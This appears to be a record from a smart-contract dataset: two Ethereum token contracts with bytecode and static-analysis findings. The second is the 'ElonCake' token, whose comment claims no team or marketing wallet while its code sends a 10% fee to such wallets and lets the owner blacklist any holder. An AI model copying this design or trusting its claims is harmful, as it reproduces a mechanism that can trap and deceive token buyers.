// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x6060604052600436106101a85763ffffffff60e060020a60003504166306fdde0381146101ad578063095ea7b314610237578063163aa00d1461026d57806317da485f146102925780631801fbe5146102a557806318160ddd146102be57806323b872dd146102d15780632d38bf7a146102f9578063313ce5671461030c57806332e99708146103355780633eaaf86b14610348578063490203a71461035b5780634ef376281461036e5780634fa972e1146103815780636de9f32b146103945780636fd396d6146103a757806370a08231146103d657806379ba5097146103f557806381269a561461040a578063829965cc1461042957806387a2a9d61461043c5780638a769d351461044f5780638ae0368b146104625780638da5cb5b1461047557806395d89b411461048857806397566aa01461049b578063a9059cbb146104b7578063b5ade81b146104d9578063bafedcaa146104ec578063cae9ca51146104ff578063cb9ae70714610564578063d4ee1d9014610577578063dc39d06d1461058a578063dc6e9cf9146105ac578063dd62ed3e146105bf578063f2fde38b146105e4575b600080fd5b34156101b857600080fd5b6101c0610603565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101fc5780820151838201526020016101e4565b50505050905090810190601f1680156102295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024257600080fd5b610259600160a060020a03600435166024356106a1565b604051901515815260200160405180910390f35b341561027857600080fd5b61028061070e565b60405190815260200160405180910390f35b341561029d57600080fd5b610280610714565b34156102b057600080fd5b610259600435602435610732565b34156102c957600080fd5b6102806108c0565b34156102dc57600080fd5b610259600160a060020a03600435811690602435166044356108f2565b341561030457600080fd5b610280610a05565b341561031757600080fd5b61031f610a0b565b60405160ff909116815260200160405180910390f35b341561034057600080fd5b610280610a14565b341561035357600080fd5b610280610a1a565b341561036657600080fd5b610280610a20565b341561037957600080fd5b610280610a3f565b341561038c57600080fd5b610280610a45565b341561039f57600080fd5b610280610a4b565b34156103b257600080fd5b6103ba610a51565b604051600160a060020a03909116815260200160405180910390f35b34156103e157600080fd5b610280600160a060020a0360043516610a60565b341561040057600080fd5b610408610a7b565b005b341561041557600080fd5b610259600435602435604435606435610b09565b341561043457600080fd5b610280610b61565b341561044757600080fd5b610280610b67565b341561045a57600080fd5b610280610b6d565b341561046d57600080fd5b610280610b73565b341561048057600080fd5b6103ba610b79565b341561049357600080fd5b6101c0610b88565b34156104a657600080fd5b610280600435602435604435610bf3565b34156104c257600080fd5b610259600160a060020a0360043516602435610c39565b34156104e457600080fd5b610280610cf8565b34156104f757600080fd5b610280610cfe565b341561050a57600080fd5b61025960048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610d0495505050505050565b341561056f57600080fd5b610280610e6b565b341561058257600080fd5b6103ba610e71565b341561059557600080fd5b610259600160a060020a0360043516602435610e80565b34156105b757600080fd5b610280610f23565b34156105ca57600080fd5b610280600160a060020a0360043581169060243516610f29565b34156105ef57600080fd5b610408600160a060020a0360043516610f54565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106995780601f1061066e57610100808354040283529160200191610699565b820191906000526020600020905b81548152906001019060200180831161067c57829003601f168201915b505050505081565b600160a060020a03338116600081815260166020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60115481565b600061072d600b54600a54610f9e90919063ffffffff16565b905090565b600080600080600c543387604051928352600160a060020a03919091166c010000000000000000000000000260208301526034820152605401604051908190039020925084831461078257600080fd5b600b5483111561079157600080fd5b600c546000908152601360205260409020805490849055915081156107b557600080fd5b6107bd610a20565b600160a060020a0333166000908152601560205260409020549091506107e9908263ffffffff610fbf16565b600160a060020a033316600090815260156020526040902055601454610815908263ffffffff610fbf16565b6014819055600e5490111561082657fe5b600f805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a031617905560108190554360115561085f610fcf565b33600160a060020a03167fcf6fbb9dcea7d07263ab4f5c3a92f53af33dffc421d9d121e1c74b307e68189d82600754600c5460405192835260208301919091526040808301919091526060909101905180910390a250600195945050505050565b6000805260156020527fa31547ce6245cdb9ecea19cf8c7eb9f5974025bb4075011409251ae855b30aed546005540390565b600160a060020a03831660009081526015602052604081205461091b908363ffffffff61106c16565b600160a060020a038086166000908152601560209081526040808320949094556016815283822033909316825291909152205461095e908363ffffffff61106c16565b600160a060020a03808616600090815260166020908152604080832033851684528252808320949094559186168152601590915220546109a4908363ffffffff610fbf16565b600160a060020a03808516600081815260156020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600d5481565b60045460ff1681565b600b5490565b60055481565b600d5460045460009161072d9160ff16600a0a600f029060020a610f9e565b600c5490565b600e5481565b60145481565b600f54600160a060020a031681565b600160a060020a031660009081526015602052604090205490565b60015433600160a060020a03908116911614610a9657600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600080833387604051928352600160a060020a03919091166c010000000000000000000000000260208301526034820152605401604051908190039020905082811115610b5557600080fd5b93909314949350505050565b60075481565b600a5481565b600b5481565b600c5481565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106995780601f1061066e57610100808354040283529160200191610699565b600080823386604051928352600160a060020a03919091166c01000000000000000000000000026020830152603482015260540160405190819003902095945050505050565b600160a060020a033316600090815260156020526040812054610c62908363ffffffff61106c16565b600160a060020a033381166000908152601560205260408082209390935590851681522054610c97908363ffffffff610fbf16565b600160a060020a0380851660008181526015602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60085481565b60105481565b600160a060020a03338116600081815260166020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610dff578082015183820152602001610de7565b50505050905090810190601f168015610e2c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610e4d57600080fd5b6102c65a03f11515610e5e57600080fd5b5060019695505050505050565b60065481565b600154600160a060020a031681565b6000805433600160a060020a03908116911614610e9c57600080fd5b60008054600160a060020a038086169263a9059cbb929091169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610f0257600080fd5b6102c65a03f11515610f1357600080fd5b5050506040518051949350505050565b60095481565b600160a060020a03918216600090815260166020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610f6f57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000808211610fac57600080fd5b8183811515610fb757fe5b049392505050565b8181018281101561070857600080fd5b600e54610fec610fdd610a20565b6014549063ffffffff610fbf16565b118015610ffb57506027600d54105b1561100a57600d805460010190555b600d546005546110259160010160020a63ffffffff610f9e16565b60055403600e5560075461104090600163ffffffff610fbf16565b60078190556008549081151561105257fe5b06151561106157611061611081565b600019430140600c55565b60008282111561107b57600080fd5b50900390565b600654600854439190910390603c8102600080808084871015611127576110bf876110b387606463ffffffff6111bb16565b9063ffffffff610f9e16565b93506110e46103e86110d886606463ffffffff61106c16565b9063ffffffff6111e016565b925061111f611110846111046107d0600b54610f9e90919063ffffffff16565b9063ffffffff6111bb16565b600b549063ffffffff61106c16565b600b55611188565b61113c856110b389606463ffffffff6111bb16565b91506111556103e86110d884606463ffffffff61106c16565b9050611184611175826111046107d0600b54610f9e90919063ffffffff16565b600b549063ffffffff610fbf16565b600b555b43600655600954600b54101561119f57600954600b555b600a54600b5411156111b257600a54600b555b50505050505050565b8181028215806111d557508183828115156111d257fe5b04145b151561070857600080fd5b6000818311156111f1575080610708565b50909190505600a165627a7a72305820437607e582a6c3222ad7e4e530c5631103bf12c2f7a417c9ebd79dbc7ceb52080029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,808 |
0x02a0c000c375464509754deea7d07d06df901e3a
|
/**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
/*
- Developer provides LP, no presale
- No Team Tokens, Locked LP
- 100% Fair Launch
No Team & Marketing wallet. 100% of the tokens will be on the market for trade.
https://t.me/ElonCakeToken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EthereumCate is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ElonCake";
string private constant _symbol = "ECAKE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600881526020017f456c6f6e43616b65000000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4543414b45000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff1